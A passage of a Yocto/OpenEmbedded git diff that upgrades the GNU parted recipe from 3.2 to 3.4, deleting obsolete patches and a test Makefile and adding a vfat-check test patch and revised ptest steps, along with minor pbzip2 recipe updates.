- dev->sector_size = PED_SECTOR_SIZE_DEFAULT;
-@@ -1196,7 +1198,7 @@ init_file (PedDevice* dev)
- goto error_close_dev;
- }
-
-- ped_device_close (dev);
-+ _device_close (dev);
-
- dev->bios_geom.cylinders = dev->length / 4 / 32;
- dev->bios_geom.heads = 4;
-@@ -1207,7 +1209,7 @@ init_file (PedDevice* dev)
- return 1;
-
- error_close_dev:
-- ped_device_close (dev);
-+ _device_close (dev);
- error:
- return 0;
- }
-@@ -1223,7 +1225,7 @@ init_dasd (PedDevice* dev, const char* model_name)
- if (!_device_stat (dev, &dev_stat))
- goto error;
-
-- if (!ped_device_open (dev))
-+ if (!_device_open_ro (dev))
- goto error;
-
- LinuxSpecific* arch_specific = LINUX_SPECIFIC (dev);
-@@ -1263,11 +1265,11 @@ init_dasd (PedDevice* dev, const char* model_name)
-
- dev->model = strdup (model_name);
-
-- ped_device_close (dev);
-+ _device_close (dev);
- return 1;
-
- error_close_dev:
-- ped_device_close (dev);
-+ _device_close (dev);
- error:
- return 0;
- }
-@@ -1282,7 +1284,7 @@ init_generic (PedDevice* dev, const char* model_name)
- if (!_device_stat (dev, &dev_stat))
- goto error;
-
-- if (!ped_device_open (dev))
-+ if (!_device_open_ro (dev))
- goto error;
-
- ped_exception_fetch_all ();
-@@ -1330,11 +1332,11 @@ init_generic (PedDevice* dev, const char* model_name)
-
- dev->model = strdup (model_name);
-
-- ped_device_close (dev);
-+ _device_close (dev);
- return 1;
-
- error_close_dev:
-- ped_device_close (dev);
-+ _device_close (dev);
- error:
- return 0;
- }
-@@ -1621,12 +1623,27 @@ retry:
- }
-
- static int
-+_device_open_ro (PedDevice* dev)
-+{
-+ int rc = _device_open (dev, RD_MODE);
-+ if (rc)
-+ dev->open_count++;
-+ return rc;
-+}
-+
-+static int
- linux_open (PedDevice* dev)
- {
-+ return _device_open (dev, RW_MODE);
-+}
-+
-+static int
-+_device_open (PedDevice* dev, int flags)
-+{
- LinuxSpecific* arch_specific = LINUX_SPECIFIC (dev);
-
- retry:
-- arch_specific->fd = open (dev->path, RW_MODE);
-+ arch_specific->fd = open (dev->path, flags);
-
- if (arch_specific->fd == -1) {
- char* rw_error_msg = strerror (errno);
-@@ -1695,6 +1712,15 @@ linux_refresh_close (PedDevice* dev)
- return 1;
- }
-
-+static int
-+_device_close (PedDevice* dev)
-+{
-+ int rc = linux_close (dev);
-+ if (dev->open_count > 0)
-+ dev->open_count--;
-+ return rc;
-+}
-+
- #if SIZEOF_OFF_T < 8
-
- static _syscall5(int,_llseek,
diff --git a/meta/recipes-extended/parted/files/0001-linux-Include-sys-sysmacros.h-for-major-macro.patch b/meta/recipes-extended/parted/files/0001-linux-Include-sys-sysmacros.h-for-major-macro.patch
deleted file mode 100644
index 01262e5452..0000000000
--- a/meta/recipes-extended/parted/files/0001-linux-Include-sys-sysmacros.h-for-major-macro.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 0b72b8eb41438b62eeb9e3548b0b8f3094a78681 Mon Sep 17 00:00:00 2001
-From: "Richard W.M. Jones" <rjones@redhat.com>
-Date: Sat, 24 Mar 2018 17:37:02 +0000
-Subject: [PATCH] linux: Include <sys/sysmacros.h> for major() macro.
-
-Since glibc 2.27 this header is required.
----
- libparted/arch/linux.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/libparted/arch/linux.c b/libparted/arch/linux.c
-index 0f18904..a15854f 100644
---- a/libparted/arch/linux.c
-+++ b/libparted/arch/linux.c
-@@ -41,6 +41,7 @@
- #include <sys/utsname.h> /* for uname() */
- #include <scsi/scsi.h>
- #include <assert.h>
-+#include <sys/sysmacros.h>
- #ifdef ENABLE_DEVICE_MAPPER
- #include <libdevmapper.h>
- #endif
---
-2.11.0
-
diff --git a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch b/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
deleted file mode 100644
index bd2b5c55b1..0000000000
--- a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 5c99d7e4c2b5e7a957dc922aff03debfebbd6154 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com>
-Date: Fri, 3 Mar 2017 21:49:15 +0100
-Subject: [PATCH] libparted_fs_resize: link against libuuid explicitly to
- unbreak gold linking on test
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-| ../libparted/fs/.libs/libparted-fs-resize.so: error: undefined reference to 'uuid_generate'
-
-Upstream-Status: Pending
-
-Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com>
----
- libparted/fs/Makefile.am | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
-index d3cc8bc..c301b0b 100644
---- a/libparted/fs/Makefile.am
-+++ b/libparted/fs/Makefile.am
-@@ -113,6 +113,8 @@ libparted_fs_resize_la_SOURCES = \
- r/hfs/reloc_plus.c \
- r/hfs/reloc_plus.h
-
-+libparted_fs_resize_la_LIBADD = $(UUID_LIBS)
-+
- AM_CPPFLAGS = \
- -I$(top_srcdir)/libparted/labels \
- $(partedincludedir) \
---
-2.9.3
-
diff --git a/meta/recipes-extended/parted/files/Makefile b/meta/recipes-extended/parted/files/Makefile
deleted file mode 100644
index ee90be0814..0000000000
--- a/meta/recipes-extended/parted/files/Makefile
+++ /dev/null
@@ -1,285 +0,0 @@
-am__tty_colors_dummy = \
- mgn= red= grn= lgn= blu= brg= std=; \
- am__color_tests=no
-
-am__tty_colors = \
-$(am__tty_colors_dummy); \
-test "X$(AM_COLOR_TESTS)" != Xno \
-&& test "X$$TERM" != Xdumb \
-&& { test "X$(AM_COLOR_TESTS)" = Xalways || test -t 1 2>/dev/null; } \
-&& { \
- am__color_tests=yes; \
- red=''; \
- grn=''; \
- lgn=''; \
- blu=''; \
- mgn=''; \
- brg=''; \
- std=''; \
-}
-
-am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
-am__vpath_adj = case $$p in \
- $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
- *) f=$$p;; \
- esac;
-am__rst_title = { sed 's/.*/ & /;h;s/./=/g;p;x;s/ *$$//;p;g' && echo; }
-am__rst_section = { sed 'p;s/./=/g;' && echo; }
-am__sh_e_setup = case $$- in *e*) set +e;; esac
-
-am__common_driver_flags = \
- --color-tests "$$am__color_tests" \
- --enable-hard-errors "$$am__enable_hard_errors" \
- --expect-failure "$$am__expect_failure"
-am__check_pre = \
-$(am__sh_e_setup); \
-$(am__vpath_adj_setup) $(am__vpath_adj) \
-$(am__tty_colors); \
-srcdir=$(srcdir); export srcdir; \
-am__odir=`echo "./$@" | sed 's|/[^/]*$$||'`; \
-test "x$$am__odir" = x. || $(MKDIR_P) "$$am__odir" || exit $$?; \
-if test -f "./$$f"; then dir=./; \
-elif test -f "$$f"; then dir=; \
-else dir="$(srcdir)/"; fi; \
-tst=$$dir$$f; log='$@'; \
-if test -n '$(DISABLE_HARD_ERRORS)'; then \
- am__enable_hard_errors=no; \
-else \
- am__enable_hard_errors=yes; \
-fi; \
-$(AM_TESTS_ENVIRONMENT) $(TESTS_ENVIRONMENT)
-
-am__set_TESTS_bases = \
- bases='$(TEST_LOGS)'; \
- bases=`for i in $$bases; do echo $$i; done | sed 's/\.log$$//'`; \
- bases=`echo $$bases`
-
-RECHECK_LOGS = $(TEST_LOGS)
-TEST_SUITE_LOG = test-suite.log
-am__test_logs1 = $(TESTS:=.log)
-am__test_logs2 = $(am__test_logs1:.log=.log)
-TEST_LOGS = $(am__test_logs2:.sh.log=.log)
-SH_LOG_DRIVER = $(SHELL) $(top_srcdir)/build-aux/test-driver
-SH_LOG_COMPILE = $(SH_LOG_COMPILER)
-
-am__set_b = \
- case '$@' in \
- */*) \
- case '$*' in \
- */*) b='$*';; \
- *) b=`echo '$@' | sed 's/\.log$$//'`; \
- esac;; \
- *) \
- b='$*';; \
- esac
-
-MKDIR_P = /bin/mkdir -p
-SHELL = /bin/bash
-VERSION = 3.1
-PACKAGE_STRING = GNU parted 3.1
-PACKAGE_BUGREPORT = bug-parted@gnu.org
-abs_srcdir = $(PWD)
-abs_top_builddir = $(PWD)/..
-abs_top_srcdir = $(PWD)/..
-srcdir = .
-top_srcdir = ..
-subdir = tests
-SH_LOG_COMPILER = $(SHELL)
-
-TESTS = \
- help-version.sh \
- t0000-basic.sh \
- t0001-tiny.sh \
- t0010-script-no-ctrl-chars.sh \
- t0100-print.sh \
- t0101-print-empty.sh \
- t0200-gpt.sh \
- t0201-gpt.sh \
- t0202-gpt-pmbr.sh \
- t0203-gpt-tiny-device-abort.sh \
- t0203-gpt-shortened-device-primary-valid.sh \
- t0205-gpt-list-clobbers-pmbr.sh \
- t0206-gpt-print-with-corrupt-primary-clobbers-pmbr.sh \
- t0207-IEC-binary-notation.sh \
- t0208-mkpart-end-in-IEC.sh \
- t0209-gpt-pmbr_boot.sh \
- t0210-gpt-resized-partition-entry-array.sh \
- t0211-gpt-rewrite-header.sh \
- t0212-gpt-many-partitions.sh \
- t0220-gpt-msftres.sh \
- t0250-gpt.sh \
- t0280-gpt-corrupt.sh \
- t0300-dos-on-gpt.sh \
- t0400-loop-clobber-infloop.sh \
- t0500-dup-clobber.sh \
- t0501-duplicate.sh \
- t1100-busy-label.sh \
- t1101-busy-partition.sh \
- t1700-probe-fs.sh \
- t2200-dos-label-recog.sh \
- t2201-pc98-label-recog.sh \
- t2300-dos-label-extended-bootcode.sh \
- t2310-dos-extended-2-sector-min-offset.sh \
- t2400-dos-hfs-partition-type.sh \
- t2500-probe-corrupt-hfs.sh \
- t3000-resize-fs.sh \
- t3200-type-change.sh \
- t3300-palo-prep.sh \
- t3310-flags.sh \
- t3400-whole-disk-FAT-partition.sh \
- t4000-sun-raid-type.sh \
- t4001-sun-vtoc.sh \
- t4100-msdos-partition-limits.sh \
- t4100-dvh-partition-limits.sh \
- t4100-msdos-starting-sector.sh \
- t4200-partprobe.sh \
- t4300-nilfs2-tiny.sh \
- t5000-tags.sh \
- t6000-dm.sh \
- t6001-psep.sh \
- t6100-mdraid-partitions.sh \
- t7000-scripting.sh \
- t8000-loop.sh \
- t8001-loop-blkpg.sh \
- t9010-big-sector.sh \
- t9020-alignment.sh \
- t9021-maxima.sh \
- t9022-one-unit-snap.sh \
- t9023-value-lt-one.sh \
- t9030-align-check.sh \
- t9040-many-partitions.sh \
- t9041-undetected-in-use-16th-partition.sh \
- t9042-dos-partition-limit.sh \
- t9050-partition-table-types.sh
-
-TESTS_ENVIRONMENT = \
- export \
- abs_top_builddir='$(abs_top_builddir)' \
- abs_top_srcdir='$(abs_top_srcdir)' \
- abs_srcdir='$(abs_srcdir)' \
- built_programs=parted \
- srcdir='$(srcdir)' \
- top_srcdir='$(top_srcdir)' \
- VERSION=$(VERSION) \
- ; 9>&2
-
-.SUFFIXES: .log
-
-$(TEST_SUITE_LOG): $(TEST_LOGS)
- @$(am__sh_e_setup); $(am__tty_colors); $(am__set_TESTS_bases); \
- ws='[ ]'; \
- results=`for b in $$bases; do echo $$b.trs; done`; \
- test -n "$$results" || results=/dev/null; \
- all=` grep "^$$ws*:test-result:" $$results | wc -l`; \
- pass=` grep "^$$ws*:test-result:$$ws*PASS" $$results | wc -l`; \
- fail=` grep "^$$ws*:test-result:$$ws*FAIL" $$results | wc -l`; \
- skip=` grep "^$$ws*:test-result:$$ws*SKIP" $$results | wc -l`; \
- xfail=`grep "^$$ws*:test-result:$$ws*XFAIL" $$results | wc -l`; \
- xpass=`grep "^$$ws*:test-result:$$ws*XPASS" $$results | wc -l`; \
- error=`grep "^$$ws*:test-result:$$ws*ERROR" $$results | wc -l`; \
- if test `expr $$fail + $$xpass + $$error` -eq 0; then \
- success=true; \
- else \
- success=false; \
- fi; \
- br='==================='; br=$$br$$br$$br$$br; \
- result_count () \
- { \
- if test x"$$1" = x"--maybe-color"; then \
- maybe_colorize=yes; \
- elif test x"$$1" = x"--no-color"; then \
- maybe_colorize=no; \
- else \
- echo "$@: invalid 'result_count' usage" >&2; exit 4; \
- fi; \
- shift; \
- desc=$$1 count=$$2; \
- if test $$maybe_colorize = yes && test $$count -gt 0; then \
- color_start=$$3 color_end=$$std; \
- else \
- color_start= color_end=; \
- fi; \
- echo "$${color_start}# $$desc $$count$${color_end}"; \
- }; \
- create_testsuite_report () \
- { \
- result_count $$1 "TOTAL:" $$all "$$brg"; \
- result_count $$1 "PASS: " $$pass "$$grn"; \
- result_count $$1 "SKIP: " $$skip "$$blu"; \
- result_count $$1 "XFAIL:" $$xfail "$$lgn"; \
- result_count $$1 "FAIL: " $$fail "$$red"; \
- result_count $$1 "XPASS:" $$xpass "$$red"; \
- result_count $$1 "ERROR:" $$error "$$mgn"; \
- }; \
- { \
- echo "$(PACKAGE_STRING): $(subdir)/$(TEST_SUITE_LOG)" | \
- $(am__rst_title); \
- create_testsuite_report --no-color; \
- echo; \
- echo ".. contents:: :depth: 2"; \
- echo; \
- for i in $$bases; do \
- if grep "^$$ws*:copy-in-global-log:$$ws*no$$ws*$$" $$i.trs \
- >/dev/null; then continue; \
- fi; \
- glob_res=`sed -n -e "s/$$ws*$$//" \
- -e "s/^$$ws*:global-test-result:$$ws*//p" \
- $$i.trs`; \
- test -n "$$glob_res" || glob_res=RUN; \
- echo "$$glob_res: $$i" | $(am__rst_section); \
- if test ! -r $$i.log; then \
- echo "fatal: making $@: $$i.log is unreadable" >&2; \
- exit 1; \
- fi; \
- cat $$i.log; echo; \
- done; \
- } >$(TEST_SUITE_LOG).tmp; \
- mv $(TEST_SUITE_LOG).tmp $(TEST_SUITE_LOG); \
- if $$success; then \
- col="$$grn"; \
- else \
- col="$$red"; \
- test x"$$VERBOSE" = x || cat $(TEST_SUITE_LOG); \
- fi; \
- echo "$${col}$$br$${std}"; \
- echo "$${col}Testsuite summary for $(PACKAGE_STRING)$${std}"; \
- echo "$${col}$$br$${std}"; \
- create_testsuite_report --maybe-color; \
- echo "$$col$$br$$std"; \
- if $$success; then :; else \
- echo "$${col}See $(subdir)/$(TEST_SUITE_LOG)$${std}"; \
- if test -n "$(PACKAGE_BUGREPORT)"; then \
- echo "$${col}Please report to $(PACKAGE_BUGREPORT)$${std}"; \
- fi; \
- echo "$$col$$br$$std"; \
- fi; \
- $$success || exit 1
-
-check-TESTS:
- @if test $@ != recheck; then \
- list='$(RECHECK_LOGS)'; \
- test -z "$$list" || rm -f $$list; \
- fi
- @test -z "$(TEST_SUITE_LOG)" || rm -f $(TEST_SUITE_LOG)
- @ws='[ ]'; \
- log_list='' trs_list=''; $(am__set_TESTS_bases); \
- for i in $$bases; do \
- if test -z "$$log_list"; then \
- log_list="$$i.log"; \
- else \
- log_list="$$log_list $$i.log"; \
- fi; \
- if test -z "$$trs_list"; then \
- trs_list="$$i.trs"; \
- else \
- trs_list="$$trs_list $$i.trs"; \
- fi; \
- done; \
- $(MAKE) $(AM_MAKEFLAGS) $(TEST_SUITE_LOG) TEST_LOGS="$$log_list"
-
-.sh.log:
- @p='$<'; \
- $(am__set_b); \
- $(am__check_pre) $(SH_LOG_DRIVER) --test-name "$$f" \
- --log-file $$b.log --trs-file $$b.trs \
- $(am__common_driver_flags) -- $(SH_LOG_COMPILE) "$$tst"
diff --git a/meta/recipes-extended/parted/files/check-vfat.patch b/meta/recipes-extended/parted/files/check-vfat.patch
new file mode 100644
index 0000000000..fad50292d9
--- /dev/null
+++ b/meta/recipes-extended/parted/files/check-vfat.patch
@@ -0,0 +1,51 @@
+Add checks for both mkfs.vfat and the vfat file system in the kernel before
+running tests.
+
+Upstream-Status: Submitted [https://alioth-lists.debian.net/pipermail/parted-devel/2021-August/005653.html]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/tests/t-lib-helpers.sh b/tests/t-lib-helpers.sh
+index 4c6c75f..2cc7577 100644
+--- a/tests/t-lib-helpers.sh
++++ b/tests/t-lib-helpers.sh
+@@ -418,3 +418,13 @@ require_64bit_()
+ ;;
+ esac
+ }
++
++# Check if the specified filesystem is either built into the kernel, or can be loaded
++# as a module
++# Usage: has_filesystem vfat
++# Ruturns 0 if the filesystem is available, otherwise skips the test
++require_filesystem_()
++{
++ grep -q $1 /proc/filesystems && return 0
++ modprobe --quiet --dry-run $1 || skip_ "this test requires kernel support for $1"
++}
+diff --git a/tests/t1100-busy-label.sh b/tests/t1100-busy-label.sh
+index f1a13df..0f47b08 100755
+--- a/tests/t1100-busy-label.sh
++++ b/tests/t1100-busy-label.sh
+@@ -19,6 +19,9 @@
+ . "${srcdir=.}/init.sh"; path_prepend_ ../parted
+ require_root_
+ require_scsi_debug_module_
++require_fat_
++require_filesystem_ vfat
++
+ ss=$sector_size_
+
+ scsi_debug_setup_ sector_size=$ss dev_size_mb=90 > dev-name ||
+diff --git a/tests/t1101-busy-partition.sh b/tests/t1101-busy-partition.sh
+index e35e6f0..c813848 100755
+--- a/tests/t1101-busy-partition.sh
++++ b/tests/t1101-busy-partition.sh
+@@ -22,6 +22,8 @@ test "$VERBOSE" = yes && parted --version
+
+ require_root_
+ require_scsi_debug_module_
++require_fat_
++require_filesystem_ vfat
+
+ # create memory-backed device
+ scsi_debug_setup_ dev_size_mb=80 > dev-name ||
diff --git a/meta/recipes-extended/parted/files/dm_check.patch b/meta/recipes-extended/parted/files/dm_check.patch
deleted file mode 100644
index 5f3c4ddae8..0000000000
--- a/meta/recipes-extended/parted/files/dm_check.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-parted: change check for device-manager
-
-Other ptests use this method.
-
-Upstream-Status: Submitted [bug-parted@gnu.org]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-
---- a/tests/t6001-psep.sh
-+++ b/tests/t6001-psep.sh
-@@ -19,7 +19,9 @@
- . "${srcdir=.}/init.sh"; path_prepend_ ../parted
-
- require_root_
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+
-+test "x$ENABLE_DEVICE_MAPPER" = xyes \
-+ || skip_ "no device-mapper support"
-
- # Device maps names - should be random to not conflict with existing ones on
- # the system
diff --git a/meta/recipes-extended/parted/files/fix-compile-failure-while-dis.patch b/meta/recipes-extended/parted/files/fix-compile-failure-while-dis.patch
deleted file mode 100644
index 8c4d2ae66d..0000000000
--- a/meta/recipes-extended/parted/files/fix-compile-failure-while-dis.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From da3f129710929abe9a403901fa7d168355b0e95a Mon Sep 17 00:00:00 2001
-From: Felix Janda <felix.janda@posteo.de>
-Date: Sun, 3 May 2015 10:33:15 +0200
-Subject: [PATCH] libparted/arch/linux.c: Compile without ENABLE_DEVICE_MAPPER
-
-Signed-off-by: Brian C. Lane <bcl@redhat.com>
----
- libparted/arch/linux.c | 21 +++++++++++++++++----
- 1 file changed, 17 insertions(+), 4 deletions(-)
-
-diff --git a/libparted/arch/linux.c b/libparted/arch/linux.c
-index a15854f..7f12f58 100644
---- a/libparted/arch/linux.c
-+++ b/libparted/arch/linux.c
-@@ -2305,6 +2305,7 @@ zasprintf (const char *format, ...)
- return r < 0 ? NULL : resultp;
- }
-
-+#ifdef ENABLE_DEVICE_MAPPER
- static char *
- dm_canonical_path (PedDevice const *dev)
- {
-@@ -2327,14 +2328,21 @@ dm_canonical_path (PedDevice const *dev)
- err:
- return NULL;
- }
-+#endif
-
- static char*
- _device_get_part_path (PedDevice const *dev, int num)
- {
-- char *devpath = (dev->type == PED_DEVICE_DM
-- ? dm_canonical_path (dev) : dev->path);
-- size_t path_len = strlen (devpath);
-+ char *devpath;
-+ size_t path_len;
- char *result;
-+#ifdef ENABLE_DEVICE_MAPPER
-+ devpath = (dev->type == PED_DEVICE_DM
-+ ? dm_canonical_path (dev) : dev->path);
-+#else
-+ devpath = dev->path;
-+#endif
-+ path_len = strlen (devpath);
- /* Check for devfs-style /disc => /partN transformation
- unconditionally; the system might be using udev with devfs rules,
- and if not the test is harmless. */
-@@ -2350,8 +2358,10 @@ _device_get_part_path (PedDevice const *dev, int num)
- ? "p" : "");
- result = zasprintf ("%s%s%d", devpath, p, num);
- }
-+#ifdef ENABLE_DEVICE_MAPPER
- if (dev->type == PED_DEVICE_DM)
- free (devpath);
-+#endif
- return result;
- }
-
-@@ -2946,12 +2956,15 @@ _disk_sync_part_table (PedDisk* disk)
- unsigned long long *length);
-
-
-+#ifdef ENABLE_DEVICE_MAPPER
- if (disk->dev->type == PED_DEVICE_DM) {
- add_partition = _dm_add_partition;
- remove_partition = _dm_remove_partition;
- resize_partition = _dm_resize_partition;
- get_partition_start_and_length = _dm_get_partition_start_and_length;
-- } else {
-+ } else
-+#endif
-+ {
- add_partition = _blkpg_add_partition;
- remove_partition = _blkpg_remove_partition;
- #ifdef BLKPG_RESIZE_PARTITION
---
-2.11.0
-
diff --git a/meta/recipes-extended/parted/files/no_check.patch b/meta/recipes-extended/parted/files/no_check.patch
deleted file mode 100644
index e6a26d11a5..0000000000
--- a/meta/recipes-extended/parted/files/no_check.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-If check is detected, it makes the builds non-determinstic so just force
-it to be disabled.
-
-RP - 4/11/08
-
-Index: parted-3.2/configure.ac
-===================================================================
---- parted-3.2.orig/configure.ac
-+++ parted-3.2/configure.ac
-@@ -555,7 +555,7 @@ AC_CHECK_HEADER([execinfo.h], [
- AM_CONDITIONAL([COMPILE_FOR_S390], [test "$host_cpu" = s390 || test "$host_cpu" = s390x])
-
- dnl check for "check", unit testing library/header
--PKG_CHECK_MODULES([CHECK], [check >= 0.9.3], have_check=yes, have_check=no)
-+have_check=no
- if test "$have_check" != "yes"; then
- AC_MSG_RESULT([Unable to locate check version 0.9.3 or higher: not building])
- fi
diff --git a/meta/recipes-extended/parted/files/run-ptest b/meta/recipes-extended/parted/files/run-ptest
index 695c5e8a7b..c3d6fca339 100644
--- a/meta/recipes-extended/parted/files/run-ptest
+++ b/meta/recipes-extended/parted/files/run-ptest
@@ -1,3 +1,7 @@
#!/bin/sh
-make -C tests check-TESTS
+mkdir -p /etc/udev/mount.blacklist.d
+echo /dev/sda1 >> /etc/udev/mount.blacklist.d/parted-tmp
+rm -f tests/*.log
+make -C tests test-suite.log
+rm /etc/udev/mount.blacklist.d/parted-tmp
diff --git a/meta/recipes-extended/parted/parted_3.2.bb b/meta/recipes-extended/parted/parted_3.2.bb
deleted file mode 100644
index 21a815345a..0000000000
--- a/meta/recipes-extended/parted/parted_3.2.bb
+++ /dev/null
@@ -1,56 +0,0 @@
-SUMMARY = "Disk partition editing/resizing utility"
-HOMEPAGE = "http://www.gnu.org/software/parted/parted.html"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c"
-SECTION = "console/tools"
-DEPENDS = "ncurses readline util-linux virtual/libiconv"
-PR = "r1"
-
-SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \
- file://no_check.patch \
- file://fix-doc-mandir.patch \
- file://fix-compile-failure-while-dis.patch \
- file://0001-Include-fcntl.h-in-platform_defs.h.patch \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch \
- file://0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch \
- file://0001-linux-Include-sys-sysmacros.h-for-major-macro.patch \
- file://run-ptest \
- file://Makefile \
- file://0001-libparted-Use-read-only-when-probing-devices-on-linu.patch \
- file://dm_check.patch \
-"
-
-SRC_URI[md5sum] = "0247b6a7b314f8edeb618159fa95f9cb"
-SRC_URI[sha256sum] = "858b589c22297cacdf437f3baff6f04b333087521ab274f7ab677cb8c6bb78e4"
-
-EXTRA_OECONF = "--disable-device-mapper"
-
-inherit autotools pkgconfig gettext texinfo ptest
-
-BBCLASSEXTEND = "native"
-
-do_compile_ptest() {
- oe_runmake -C tests print-align print-max dup-clobber duplicate fs-resize
-}
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}
- mkdir $t/build-aux
- cp ${S}/build-aux/test-driver $t/build-aux/
- cp -r ${S}/tests $t
- cp ${WORKDIR}/Makefile $t/tests/
- sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile
- for i in print-align print-max dup-clobber duplicate fs-resize; \
- do cp ${B}/tests/.libs/$i $t/tests/; \
- done
- sed -e 's| ../parted||' -i $t/tests/*.sh
-}
-
-RDEPENDS_${PN}-ptest = "bash coreutils perl util-linux-losetup python3 make"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "partprobe"
-ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe"
diff --git a/meta/recipes-extended/parted/parted_3.4.bb b/meta/recipes-extended/parted/parted_3.4.bb
new file mode 100644
index 0000000000..d83b002f82
--- /dev/null
+++ b/meta/recipes-extended/parted/parted_3.4.bb
@@ -0,0 +1,62 @@
+SUMMARY = "Disk partition editing/resizing utility"
+HOMEPAGE = "http://www.gnu.org/software/parted/parted.html"
+DESCRIPTION = "GNU Parted manipulates partition tables. This is useful for creating space for new operating systems, reorganizing disk usage, copying data on hard disks and disk imaging."
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c"
+SECTION = "console/tools"
+DEPENDS = "ncurses util-linux virtual/libiconv"
+
+SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \
+ file://fix-doc-mandir.patch \
+ file://run-ptest \
+ file://check-vfat.patch \
+ "
+
+SRC_URI[md5sum] = "357d19387c6e7bc4a8a90fe2d015fe80"
+SRC_URI[sha256sum] = "e1298022472da5589b7f2be1d5ee3c1b66ec3d96dfbad03dc642afd009da5342"
+
+inherit autotools pkgconfig gettext texinfo ptest
+
+PACKAGECONFIG ?= "readline"
+PACKAGECONFIG[device-mapper] = "--enable-device-mapper,--disable-device-mapper,libdevmapper lvm2"
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_compile_ptest() {
+ oe_runmake -C tests print-align print-max dup-clobber duplicate fs-resize print-flags
+}
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}
+ mkdir $t/build-aux
+ cp ${S}/build-aux/test-driver $t/build-aux/
+ cp -r ${S}/tests $t
+ cp ${B}/tests/Makefile $t/tests/
+ mkdir $t/lib
+ cp ${B}/lib/config.h $t/lib
+ sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile
+ sed -i "s|^srcdir =.*|srcdir = \.|g" $t/tests/Makefile
+ sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" $t/tests/Makefile
+ sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = "${PTEST_PATH}"|g" $t/tests/Makefile
+ sed -i "s|^abs_top_builddir =.*|abs_top_builddir = "${PTEST_PATH}"|g" $t/tests/Makefile
+ sed -i "s|^Makefile:.*|Makefile:|g" $t/tests/Makefile
+ sed -i "/^BUILDINFO.*$/d" $t/tests/Makefile
+ for i in print-align print-max print-flags dup-clobber duplicate fs-resize; \
+ do cp ${B}/tests/.libs/$i $t/tests/; \
+ done
+ sed -e 's| ../parted||' -i $t/tests/*.sh
+}
+
+RDEPENDS:${PN}-ptest = "bash coreutils perl util-linux-losetup util-linux-mkswap python3 make gawk e2fsprogs-mke2fs e2fsprogs-tune2fs python3-core dosfstools"
+RRECOMMENDS:${PN}-ptest += "kernel-module-scsi-debug kernel-module-loop kernel-module-vfat"
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ glibc-utils \
+ locale-base-en-us \
+ "
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "partprobe"
+ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe"
diff --git a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
index 1275cc0097..3fa89dec9a 100644
--- a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
+++ b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb
@@ -3,13 +3,13 @@ DESCRIPTION = "PBZIP2 is a parallel implementation of the bzip2 block-sorting \
file compressor that uses pthreads and achieves near-linear speedup on SMP \
machines. The output of this version is fully compatible with bzip2 v1.0.2 or \
newer (ie: anything compressed with pbzip2 can be decompressed with bzip2)."
-HOMEPAGE = "http://compression.ca/pbzip2/"
+HOMEPAGE = "https://launchpad.net/pbzip2/"
SECTION = "console/utils"
-LICENSE = "BSD-4-Clause"
+LICENSE = "bzip2-1.0.6"
LIC_FILES_CHKSUM = "file://COPYING;md5=398b8832c6f840cfebd20ab2be6a3743"
DEPENDS = "bzip2"
-DEPENDS_append_class-native = " bzip2-replacement-native"
+DEPENDS:append:class-native = " bzip2-replacement-native"
SRC_URI = "https://launchpad.net/${BPN}/1.1/${PV}/+download/${BP}.tar.gz \
file://0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch \
@@ -28,4 +28,4 @@ do_install() {
install -m 0755 pbzip2 ${D}${bindir}/
}
-BBCLASSEXTEND = "native"
